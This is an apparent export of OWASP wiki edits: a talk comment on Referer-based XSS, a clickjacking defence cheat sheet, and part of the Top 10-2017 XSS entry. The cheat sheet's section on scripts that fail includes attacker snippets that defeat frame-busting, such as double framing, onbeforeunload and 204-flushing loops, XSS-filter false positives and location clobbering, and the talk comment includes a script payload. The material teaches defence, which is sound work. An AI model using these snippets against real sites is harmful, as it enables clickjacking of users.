The &amp;quot;worse than guessing&amp;quot; interpretation seems to come from the following scenario.  We have ''n'' real and ''m'' fake vulnerabilities.  For each of these vulnerabilities let the tool (or a monkey) decide if it is real.  I guess this scenario ignores that the tool does not get the list of these vulnerabilities as its input. --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 20:24, 13 July 2016 (CDT)&lt;br /&gt;
&lt;br /&gt;
== Request headers in XSS attacks ==&lt;br /&gt;
&lt;br /&gt;
The Test Case Details tab says that out of all possible request headers only Referer can act as tainted input in the XSS scenario.  Indeed, a malicious site can host a page at a malicioously crafted URL replying to HTTP requests such as &amp;lt;code&amp;gt;GET /foo&amp;amp;lt;script&amp;amp;gt;alert(1)&amp;amp;lt;/script&amp;amp;gt;&amp;lt;/code&amp;gt;.  On visiting such pages and clicking a link in them victim users' browsers will carry the crafted URL in their Referer header.  --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 07:37, 17 July 2017 (CDT)&lt;/div&gt;</summary>
		<author><name>Eelgheez</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Clickjacking_Defense_Cheat_Sheet&amp;diff=230240</id>
		<title>Clickjacking Defense Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Clickjacking_Defense_Cheat_Sheet&amp;diff=230240"/>
				<updated>2017-06-02T16:49:27Z</updated>
		
		<summary type="html">&lt;p&gt;Eelgheez: /* Best-for-now Legacy Browser Frame Breaking Script */ bring a backup copy instead of the site failure&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;br/&amp;gt;Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
= Introduction  =&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
&lt;br /&gt;
This cheat sheet is focused on providing developer guidance on [[Clickjacking|Clickjack/UI Redress]] attack prevention.&lt;br /&gt;
&lt;br /&gt;
The most popular way to defend against Clickjacking is to include some sort of &amp;quot;frame-breaking&amp;quot; functionality which prevents other web pages from framing the site you wish to defend. This cheat sheet will discuss two methods of implementing frame-breaking: first is X-Frame-Options headers (used if the browser supports the functionality); and second is javascript frame-breaking code.&lt;br /&gt;
&lt;br /&gt;
= Defending with Content Security Policy frame-ancestors directive =&lt;br /&gt;
The frame-ancestors directive can be used in a Content-Security-Policy HTTP response header to indicate whether or not a browser should be allowed to render a page in a &amp;amp;lt;frame&amp;amp;gt; or &amp;amp;lt;iframe&amp;amp;gt;. Sites can use this to avoid Clickjacking attacks, by ensuring that their content is not embedded into other sites.&lt;br /&gt;
&lt;br /&gt;
frame-ancestors allows a site to authorize multiple domains using the normal Content Security Policy semantics.&lt;br /&gt;
&lt;br /&gt;
See https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors for further details&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Limitations ===&lt;br /&gt;
* '''Browser support:''' frame-ancestors is not supported by all the major browsers yet.&lt;br /&gt;
* '''X-Frame-Options takes priority:''' [https://w3c.github.io/webappsec/specs/content-security-policy/#frame-ancestors-and-frame-options Section 7.7.1 of the CSP Spec] says X-Frame-Options should be ignored if frame-ancestors is specified, but Chrome 40 &amp;amp; Firefox 35 ignore the frame-ancestors directive and follow the X-Frame-Options header instead.&lt;br /&gt;
&lt;br /&gt;
= Defending with X-Frame-Options Response Headers =&lt;br /&gt;
&lt;br /&gt;
The X-Frame-Options HTTP response header can be used to indicate whether or not a browser should be allowed to render a page in a &amp;amp;lt;frame&amp;amp;gt; or &amp;amp;lt;iframe&amp;amp;gt;. Sites can use this to avoid Clickjacking attacks, by ensuring that their content is not embedded into other sites. Set the X-Frame-Options header for all responses containing HTML content. The possible values are &amp;quot;DENY&amp;quot;, &amp;quot;SAMEORIGIN&amp;quot;, or &amp;quot;ALLOW-FROM uri&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== X-Frame-Options Header Types  ===&lt;br /&gt;
&lt;br /&gt;
There are three possible values for the X-Frame-Options header:&lt;br /&gt;
* &amp;lt;b&amp;gt;DENY&amp;lt;/b&amp;gt;, which prevents any domain from framing the content. The &amp;quot;DENY&amp;quot; setting is recommended unless a specific need has been identified for framing.&lt;br /&gt;
* &amp;lt;b&amp;gt;SAMEORIGIN&amp;lt;/b&amp;gt;, which only allows the current site to frame the content.&lt;br /&gt;
* &amp;lt;b&amp;gt;ALLOW-FROM uri&amp;lt;/b&amp;gt;, which permits the specified 'uri' to frame this page. (e.g., ALLOW-FROM http&amp;amp;#58;//www.example.com) '''Check Limitations Below''' this will fail open if the browser does not support it. Other browsers support the new [[Content_Security_Policy_Cheat_Sheet#Preventing_Clickjacking|CSP frame-ancestors directive]] instead. A few support both.&lt;br /&gt;
&lt;br /&gt;
=== Browser Support ===&lt;br /&gt;
&lt;br /&gt;
The following browsers support X-Frame-Options headers.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table border=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt; &amp;lt;th&amp;gt;Browser&amp;lt;/th&amp;gt; &amp;lt;th&amp;gt;DENY/SAMEORIGIN Support Introduced&amp;lt;/th&amp;gt; &amp;lt;th&amp;gt;ALLOW-FROM Support Introduced&amp;lt;/th&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt; &amp;lt;td&amp;gt;Chrome&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;[http://blog.chromium.org/2010/01/security-in-depth-new-security-features.html 4.1.249.1042]&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;[https://code.google.com/p/chromium/issues/detail?id=129139 Won't support] - [[Content_Security_Policy_Cheat_Sheet#Preventing_Clickjacking|Supports CSP frame-ancestors instead]]&amp;lt;/td&amp;gt; &amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt; &amp;lt;td&amp;gt;Firefox (Gecko)&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;[https://developer.mozilla.org/en-US/docs/HTTP/X-Frame-Options?redirectlocale=en-US&amp;amp;redirectslug=The_X-FRAME-OPTIONS_response_header 3.6.9 (1.9.2.9)]&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;[https://bugzilla.mozilla.org/show_bug.cgi?id=690168 18.0]&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt; &amp;lt;td&amp;gt;Internet Explorer&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;[http://blogs.msdn.com/b/ie/archive/2009/01/27/ie8-security-part-vii-clickjacking-defenses.aspx 8.0]&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;[http://erlend.oftedal.no/blog/tools/xframeoptions/ 9.0]&amp;lt;/td&amp;gt; &amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt; &amp;lt;td&amp;gt;Opera&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;[http://www.opera.com/docs/specs/presto26/#network 10.50]&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;&amp;lt;/td&amp;gt; &amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt; &amp;lt;td&amp;gt;Safari&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;[http://www.zdnet.com/blog/security/apple-safari-jumbo-patch-50-vulnerabilities-fixed/3541 4.0]&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;[https://bugs.webkit.org/show_bug.cgi?id=94836 Won't support] - [[Content_Security_Policy_Cheat_Sheet#Preventing_Clickjacking|Supports CSP frame-ancestors instead]]&amp;lt;/td&amp;gt; &amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
References: &lt;br /&gt;
* [https://developer.mozilla.org/en-US/docs/HTTP/X-Frame-Options Mozilla Developer Network]&amp;lt;br&amp;gt;&lt;br /&gt;
* [http://datatracker.ietf.org/doc/draft-ietf-websec-x-frame-options/ IETF Draft]&lt;br /&gt;
* [http://erlend.oftedal.no/blog/tools/xframeoptions/ X-Frame-Options Compatibility Test] - Check this for the LATEST browser support info for the X-Frame-Options header&lt;br /&gt;
&lt;br /&gt;
=== Implementation ===&lt;br /&gt;
&lt;br /&gt;
To implement this protection, you need to add the X-Frame-Options HTTP Response header to any page that you want to protect from being clickjacked via framebusting. One way to do this is to add the HTTP Response Header manually to every page.  A possibly simpler way is to implement a filter that automatically adds the header to every page.&lt;br /&gt;
&lt;br /&gt;
OWASP has an [[ClickjackFilter for Java EE|article and some code]] that provides all the details for implementing this in a Java EE environment.&lt;br /&gt;
&lt;br /&gt;
The SDL blog has posted an [http://blogs.msdn.com/sdl/archive/2009/02/05/clickjacking-defense-in-ie8.aspx article] covering how to implement this in a .NET environment.&lt;br /&gt;
&lt;br /&gt;
=== Common Defense Mistakes ===&lt;br /&gt;
Meta-tags that attempt to apply the X-Frame-Options directive DO NOT WORK. For example, &amp;lt;meta http-equiv=&amp;quot;X-Frame-Options&amp;quot; content=&amp;quot;deny&amp;quot;&amp;gt;) will not work. You must apply the X-FRAME-OPTIONS directive as HTTP Response Header as described above.&lt;br /&gt;
&lt;br /&gt;
=== Limitations ===&lt;br /&gt;
&lt;br /&gt;
* '''Per-page policy specification''' The policy needs to be specified for every page, which can complicate deployment. Providing the ability to enforce it for the entire site, at login time for instance, could simplify adoption.&lt;br /&gt;
* '''Problems with multi-domain sites''' The current implementation does not allow the webmaster to provide a whitelist of domains that are allowed to frame the page. While whitelisting can be dangerous, in some cases a webmaster might have no choice but to use more than one hostname.&lt;br /&gt;
* '''ALLOW-FROM browser support''' The ALLOW-FROM option is a relatively recent addition (circa 2012) and may not be supported by all browsers yet.  BE CAREFUL ABOUT DEPENDING ON ALLOW-FROM. If you apply it and the browser does not support it, then you will have NO clickjacking defense in place.&lt;br /&gt;
* '''Multiple options not supported''' There is no way to allow the current site and a 3rd party site to frame the same response -- browsers only honour one X-Frame-Options header and only one value on that header.&lt;br /&gt;
* '''Nested Frames don't work with SAMEORIGIN and ALLOW-FROM''' In the following situation, the http://framed.invalid/child frame does not load because ALLOW-FROM applies to the top-level browsing context, not that of the immediate parent. The solution is to use ALLOW-FROM in both the parent and child frames (but this prevents the child frame loading if the //framed.invalid/parent page is loaded as the top level document).&lt;br /&gt;
 +-//friendlysite.invalid-----------------------+&lt;br /&gt;
 |                                              |&lt;br /&gt;
 | +-//framed.invalid/parent------------------+ |&lt;br /&gt;
 | |                                          | |&lt;br /&gt;
 | | ALLOW-FROM http://friendlysite.invalid | |&lt;br /&gt;
 | |                                          | |&lt;br /&gt;
 | | +-//framed.invalid/child--------+        | |&lt;br /&gt;
 | | |                               |        | |&lt;br /&gt;
 | | | SAMEORIGIN                    |        | |&lt;br /&gt;
 | | |                               |        | |&lt;br /&gt;
 | | +-------------------------------+        | |&lt;br /&gt;
 | +------------------------------------------+ |&lt;br /&gt;
 +----------------------------------------------+&lt;br /&gt;
* '''X-Frame-Options Deprecated''' While the X-Frame-Options header is supported by the major browsers, it was never standardized and has been deprecated in favour of the frame-ancestors directive from the CSP Level 2 specification.&lt;br /&gt;
* '''Proxies''' Web proxies are notorious for adding and stripping headers. If a web proxy strips the X-Frame-Options header then the site loses its framing protection.&lt;br /&gt;
&lt;br /&gt;
= Best-for-now Legacy Browser Frame Breaking Script =&lt;br /&gt;
&lt;br /&gt;
One way to defend against clickjacking is to include a &amp;quot;frame-breaker&amp;quot; script&lt;br /&gt;
in each page that should not be framed. The following methodology will prevent&lt;br /&gt;
a webpage from being framed even in legacy browsers, that do not support the&lt;br /&gt;
X-Frame-Options-Header.&lt;br /&gt;
&lt;br /&gt;
In the document HEAD element, add the following:&lt;br /&gt;
&lt;br /&gt;
First apply an ID to the style element itself:&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;lt;style id=&amp;amp;quot;antiClickjack&amp;amp;quot;&amp;amp;gt;body{display:none !important;}&amp;amp;lt;/style&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
And then delete that style by its ID immediately after in the script:&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;lt;script type=&amp;amp;quot;text/javascript&amp;amp;quot;&amp;amp;gt;&lt;br /&gt;
    if (self === top) {&lt;br /&gt;
        var antiClickjack = document.getElementById(&amp;amp;quot;antiClickjack&amp;amp;quot;);&lt;br /&gt;
        antiClickjack.parentNode.removeChild(antiClickjack);&lt;br /&gt;
    } else {&lt;br /&gt;
        top.location = self.location;&lt;br /&gt;
    }&lt;br /&gt;
 &amp;amp;lt;/script&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
This way, everything can be in the document HEAD and you only need one method/taglib in your API.&lt;br /&gt;
&lt;br /&gt;
Reference: [http://web.archive.org/web/20170430064506/https://www.codemagi.com/blog/post/194 https://www.codemagi.com/blog/post/194]&lt;br /&gt;
&lt;br /&gt;
= window.confirm() Protection =&lt;br /&gt;
The use of x-frame-options or a frame-breaking script is a more fail-safe method of clickjacking protection.  However, in scenarios where content must be frameable, then a window.confirm() can be used to help mitigate Clickjacking by informing the user of the action they are about to perform.&lt;br /&gt;
&lt;br /&gt;
Invoking window.confirm() will display a popup that cannot be framed.  If the window.confirm() originates from within an iframe with a different domain than the parent, then the dialog box will display what domain the window.confirm() originated from.  In this scenario the browser is displaying the origin of the dialog box to help mitigate Clickjacking attacks.  It should be noted that Internet Explorer is the only known browser that does not display the domain that the window.confirm() dialog box originated from,  to address this issue with Internet Explorer insure that the message within the dialog box contains contextual information about the type of action being performed.  For example:&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;lt;script type=&amp;amp;quot;text/javascript&amp;amp;quot;&amp;amp;gt;&lt;br /&gt;
    var action_confirm = window.confirm(&amp;quot;Are you sure you want to delete your youtube account?&amp;quot;)&lt;br /&gt;
    if (action_confirm) {&lt;br /&gt;
        //... perform action&lt;br /&gt;
    } else {&lt;br /&gt;
        //...  The user does not want to perform the requested action.&lt;br /&gt;
    }&lt;br /&gt;
 &amp;amp;lt;/script&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Insecure Non-Working Scripts DO NOT USE =&lt;br /&gt;
Consider the following snippet which is '''NOT recommended''' for defending&lt;br /&gt;
against clickjacking:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;script&amp;gt;if (top!=self) top.location.href=self.location.href&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This simple frame breaking script attempts to prevent the page from being incorporated into a frame or iframe by forcing the parent window to load the current frame's URL. Unfortunately, multiple ways of defeating this type of script have been made public. We outline some here.&lt;br /&gt;
&lt;br /&gt;
== Double Framing ==&lt;br /&gt;
Some frame busting techniques navigate to the correct page by assigning a value to parent.location. This works well if the victim page is framed by a single page. However, if the attacker encloses the victim in one frame inside another (a double frame), then accessing parent.location becomes a security violation in all popular browsers, due to the '''descendant frame navigation policy'''. This security violation disables the counter-action navigation.&lt;br /&gt;
&lt;br /&gt;
'''Victim frame busting code:'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
if(top.location!=self.locaton) {&lt;br /&gt;
  parent.location = self.location;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Attacker top frame:'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;attacker2.html&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Attacker sub-frame:'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://www.victim.com&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== The onBeforeUnload Event ==&lt;br /&gt;
A user can manually cancel any navigation request submitted by a framed page. To exploit this, the framing page registers an onBeforeUnload handler which is called whenever the framing page is about to be unloaded due to navigation. The handler function returns a string that becomes part of a prompt displayed to the user. Say the attacker wants to frame PayPal. He registers an unload handler function that returns the string &amp;quot;Do you want to exit PayPal?&amp;quot;. When this string is displayed to the user is likely to cancel the navigation, defeating PayPal's frame busting attempt.&lt;br /&gt;
&lt;br /&gt;
The attacker mounts this attack by registering an unload event on the top page using the&lt;br /&gt;
following code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
window.onbeforeunload = function()&lt;br /&gt;
{&lt;br /&gt;
  return &amp;quot;Asking the user nicely&amp;quot;;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://www.paypal.com&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
PayPal's frame busting code will generate a BeforeUnload event activating our function and prompting the user to cancel the navigation event.&lt;br /&gt;
&lt;br /&gt;
== No-Content Flushing ==&lt;br /&gt;
While the previous attack requires user interaction, the same attack can be done without prompting the user. Most browsers (IE7, IE8, Google Chrome, and Firefox) enable an attacker to automatically cancel the incoming navigation request in an onBeforeUnload event handler by repeatedly submitting a navigation request to a site responding with \204 - No Content.&amp;quot; Navigating to a No Content site is effectively a NOP, but flushes the request pipeline, thus canceling the original navigation request. Here is sample code to do this:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
var preventbust = 0&lt;br /&gt;
window.onbeforeunload = function() { killbust++ }&lt;br /&gt;
setInterval( function() {&lt;br /&gt;
  if(killbust &amp;gt; 0){&lt;br /&gt;
  killbust = 2;&lt;br /&gt;
  window.top.location = 'http://nocontent204.com'&lt;br /&gt;
  }&lt;br /&gt;
}, 1);&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://www.victim.com&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Exploiting XSS filters ==&lt;br /&gt;
IE8 and Google Chrome introduced reflective XSS filters that help protect web pages from certain types of XSS attacks. Nava and Lindsay (at Blackhat) observed that these filters can be used to circumvent frame busting code. The IE8 XSS filter compares given request parameters to a set of regular expressions in order to look for obvious attempts at cross-site scripting. Using &amp;quot;induced false positives&amp;quot;, the filter can be used to disable selected scripts. By matching the beginning of any script tag in the request parameters, the XSS filter will disable all inline scripts within the page, including frame busting scripts. External scripts can also be targeted by matching an external include, effectively disabling all external scripts. Since subsets of the JavaScript loaded is still functional (inline or external) and cookies are still available, this attack is effective for clickjacking.&lt;br /&gt;
&lt;br /&gt;
'''Victim frame busting code:'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
if(top != self) {&lt;br /&gt;
  top.location = self.location;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Attacker:'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://www.victim.com/?v=&amp;lt;script&amp;gt;if''&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The XSS filter will match that parameter &amp;quot;&amp;lt;script&amp;gt;if&amp;quot; to the beginning of the frame busting script on the victim and will consequently disable all inline scripts in the victim's page, including the frame busting script. The XSSAuditor filter available for Google Chrome enables the same exploit.&lt;br /&gt;
&lt;br /&gt;
== Clobbering top.location ==&lt;br /&gt;
Several modern browsers treat the location variable as a special immutable attribute across all contexts. However, this is not the case in IE7 and Safari 4.0.4 where the location variable can be redefined.&lt;br /&gt;
&lt;br /&gt;
'''IE7'''&lt;br /&gt;
Once the framing page redefines location, any frame busting code in a subframe that tries to read top.location will commit a security violation by trying to read a local variable in another domain. Similarly, any attempt to navigate by assigning top.location will fail.&lt;br /&gt;
&lt;br /&gt;
'''Victim frame busting code:'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
if(top.location != self.location) {&lt;br /&gt;
  top.location = self.location;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Attacker:'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt; var location = &amp;quot;clobbered&amp;quot;;&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://www.victim.com&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/iframe&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Safari 4.0.4'''&lt;br /&gt;
&lt;br /&gt;
We observed that although location is kept immutable in most circumstances, when a custom location setter is defined via defineSetter (through window) the object location becomes undefined. The framing page simply does:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
  window.defineSetter(&amp;quot;location&amp;quot; , function(){});&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Now any attempt to read or navigate the top frame's location will fail.&lt;br /&gt;
&lt;br /&gt;
== Restricted zones ==&lt;br /&gt;
&lt;br /&gt;
Most frame busting relies on JavaScript in the framed page to detect framing and bust itself out. If JavaScript is disabled in the context of the subframe, the frame busting code will not run. There are unfortunately several ways of restricting JavaScript in a subframe:&lt;br /&gt;
&lt;br /&gt;
* '''In IE 8:''' &amp;lt;pre&amp;gt;&amp;lt;iframe src=&amp;quot;http://www.victim.com&amp;quot; security=&amp;quot;restricted&amp;quot;&amp;gt;&amp;lt;/iframe&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
* '''In Chrome:''' &amp;lt;pre&amp;gt;&amp;lt;iframe src=&amp;quot;http://www.victim.com&amp;quot; sandbox&amp;gt;&amp;lt;/iframe&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
*''' In Firefox and IE:''' Activate designMode in parent page.&lt;br /&gt;
&lt;br /&gt;
== Other Cheatsheets ==&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Eelgheez</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Top_10-2017_A7-Cross-Site_Scripting_(XSS)&amp;diff=230186</id>
		<title>Top 10-2017 A7-Cross-Site Scripting (XSS)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Top_10-2017_A7-Cross-Site_Scripting_(XSS)&amp;diff=230186"/>
				<updated>2017-06-01T13:53:29Z</updated>
		
		<summary type="html">&lt;p&gt;Eelgheez: Correct the abuse scenario.  Change the style from prescriptive to descriptive to sustain the Burden of Proof.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Top_10_2013:TopTemplate&lt;br /&gt;
    |usenext=2013NextLink&lt;br /&gt;
    |next=A4-{{Top_10_2010:ByTheNumbers&lt;br /&gt;
              |4&lt;br /&gt;
              |year=2017&lt;br /&gt;
              |language=en}}&lt;br /&gt;
    |useprev=2013PrevLink&lt;br /&gt;
    |prev=A2-{{Top_10_2010:ByTheNumbers&lt;br /&gt;
              |2&lt;br /&gt;
              |year=2017&lt;br /&gt;
              |language=en}}&lt;br /&gt;
    |year=2017&lt;br /&gt;
    |language=en&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2010:SummaryTableHeaderBeginTemplate|year=2017|language=en}}&lt;br /&gt;
{{Top_10:SummaryTableTemplate|exploitability=2|prevalence=0|detectability=2|impact=2|year=2017|language=en}}&lt;br /&gt;
{{Top_10_2010:SummaryTableHeaderEndTemplate|year=2017}}&lt;br /&gt;
     &amp;lt;td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}&amp;gt;&lt;br /&gt;
Consider anyone who can send untrusted data to the system, including external users, business partners, other systems, internal users, and administrators.&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
     &amp;lt;td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}&amp;gt;&lt;br /&gt;
Attackers send text-based attack scripts that exploit the interpreter in the browser. Almost any source of data can be an attack vector, including internal sources such as data from the database.&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
&lt;br /&gt;
     &amp;lt;td colspan=2  {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}&amp;gt;&lt;br /&gt;
&amp;lt;u&amp;gt;[[Cross-site_Scripting_(XSS) | XSS]]&amp;lt;/u&amp;gt; flaws occur when an application updates a web page with attacker controlled data without properly escaping that content or using a safe JavaScript API. There are two primary categories of XSS flaws: (1) &amp;lt;u&amp;gt;[[Cross-site_Scripting_(XSS)#Stored_and_Reflected_XSS_Attacks|Stored]]&amp;lt;/u&amp;gt; and (2) &amp;lt;u&amp;gt;[[Cross-site_Scripting_(XSS)#Stored_and_Reflected_XSS_Attacks|Reflected]]&amp;lt;/u&amp;gt;, and each of these can occur on the a) &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Server_XSS | Server ]]&amp;lt;/u&amp;gt; or b) on the &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Client_XSS | Client]]&amp;lt;/u&amp;gt;. Detection of most &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Server_XSS | Server XSS]]&amp;lt;/u&amp;gt; flaws is fairly easy via testing or code analysis. &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Client_XSS | Client XSS]]&amp;lt;/u&amp;gt; is very difficult to identify.&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
     &amp;lt;td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}&amp;gt;&lt;br /&gt;
Attackers can execute scripts in a victim’s browser to hijack user sessions, deface web sites, insert hostile content, redirect users, hijack the user’s browser using malware, etc.&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
     &amp;lt;td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}&amp;gt;Consider the business value of the affected system and all the data it processes.&lt;br /&gt;
&lt;br /&gt;
Also consider the business impact of public exposure of the vulnerability.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
{{Top_10_2010:SummaryTableEndTemplate}}&lt;br /&gt;
&lt;br /&gt;
{{Top_10:SubsectionTableBeginTemplate|type=main}} {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=vulnerableTo|position=firstLeft|risk=3|year=2017|language=en}}&lt;br /&gt;
An application has a Cross-Site Scripting vulnerability if it fails to encode output of user data according to its context in HTML, resulting in crossing the boundary with the scripts sent to the browser.  In addition, a vulnerable application could fail to white-list potentially malicious data sources such as &amp;lt;code&amp;gt;window.name&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;document.referer&amp;lt;/code&amp;gt; before passing them to [[Media:Unraveling_some_Mysteries_around_DOM-based_XSS.pdf|unsafe JavaScript APIs]] such as &amp;lt;code&amp;gt;window.eval()&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;window.setTimeout()&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;document.write()&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;new Function()&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Automated tools can find some XSS vulnerabilities and miss others. Besides, each application builds output pages differently and relies on different browser side interpreters such as JavaScript, ActiveX, Flash, Silverlight.  The scripts sent to the browser may rely on additional script libraries.  Single-page applications may process input on the client side and generate requests to the server independently from user actions.  This diversity makes discovering all possible HTTP requests difficult.  Test tools may improve the coverage by connecting to a browser that would execute scripts generated by the application and by sending operating system level or browser level input events to the browser.  Static and &amp;quot;interactive&amp;quot; analysis may help uncover additional XSS vulnerabilities whose exposure to automated queries depends on a sequence of HTTP requests.&lt;br /&gt;
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=howPrevent|position=right|risk=3|year=2017|language=en}}&lt;br /&gt;
Preventing XSS requires separation of untrusted data from active browser content.&lt;br /&gt;
# Escaping untrusted HTTP request data based on the context in the HTML output (body, attribute, JavaScript, CSS, or URL) will resolve &amp;lt;u&amp;gt;[[Types_of_Cross-Site_Scripting#Server_XSS|Server XSS]]&amp;lt;/u&amp;gt; vulnerabilities. The &amp;lt;u&amp;gt;[[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet|OWASP XSS Prevention Cheat Sheet]]&amp;lt;/u&amp;gt; has details on the required data escaping techniques.&lt;br /&gt;
